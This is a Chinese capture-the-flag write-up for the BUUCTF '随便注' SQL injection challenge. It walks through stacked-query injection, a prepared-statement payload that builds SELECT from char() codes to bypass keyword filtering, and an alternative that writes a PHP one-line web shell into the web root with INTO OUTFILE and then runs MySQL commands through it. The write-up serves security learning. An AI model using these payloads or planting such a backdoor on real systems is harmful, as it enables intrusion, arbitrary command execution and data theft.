BUUCTF 随便注WP

首先我们先看到题目,我们由题意可知是sql注入
BUUCTF 随便注WP_第1张图片
于是用 试试
在这里插入图片描述
然后我们尝试一些注入的常用的词汇
发现都被过滤了,但是尝试一下 堆叠注入就可发现

';show tables;#

BUUCTF 随便注WP_第2张图片
BUUCTF 随便注WP_第3张图片
看了前面大佬的博客可以

绕过关键词过滤

关于MySQL中的预处理语句原理与使用,这篇文章讲解的比较详细:MySQL的SQL预处理(Prepared)本题中由于可以使用堆叠查询,并且需要使用SELECT关键字并绕过过滤,因此想到利用字符串转换与拼接构造语句最后执行,这时就可以使用预处理语句。

预处理语句使用方式:

PREPARE sqla from '[my sql sequece]';   //预定义SQL语句
EXECUTE sqla;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

预定义语句也可以通过变量进行传递,比如:

SET @tn = 'hahaha';  //存储表名
SET @sql = concat('select * from ', @tn);  //存储SQL语句
PREPARE sqla from @sql;   //预定义SQL语句
EXECUTE sqla;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

最后构造payload,本题可以利用char()将ASCll码转换为SELECT字符串,接着利用concat()方法拼接得到查询的SQL语句,最后执行可得,payload如下。
1’;Set @sql=concat(char(115,101,108,101,99,116)," *from 1919810931114514");PREpare sql555 from @sql;EXecute sql555;#

BUUCTF 随便注WP_第4张图片
后面是大佬写的用的另一种方法得到的flag

利用命令执行GetFlag

由于用户是root,所以还可以通过命令执行的方式获取flag:BUUCTF-WEB题解#随便注
payload如下:

/?inject=';Set @sql=concat("s","elect '<?php @print_r(`$_GET[1]`);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla;

/1.php?1=mysql -uroot -proot -e"use supersqli;select flag from \`1919810931114514\`;"

利用concat将select拆分从而绕过关键词select过滤
利用char将ASCII码46转换为.从而绕过关键词.过滤
利用MySQL into outputfile给网站留后门:利用Mysql into outfile给网站留后门:利用Mysql into outfile给网站留后门(这里猜测绝对路径是一般ubuntu服务器网站根目录/var/www/html
利用一句话木马执行任意mysql命令(反引号中的内容会被当做bash命令执行然后结果再传回来执行)

膜拜大佬 膜拜大佬 膜拜大佬

你可能感兴趣的:(ctf,SQL注入)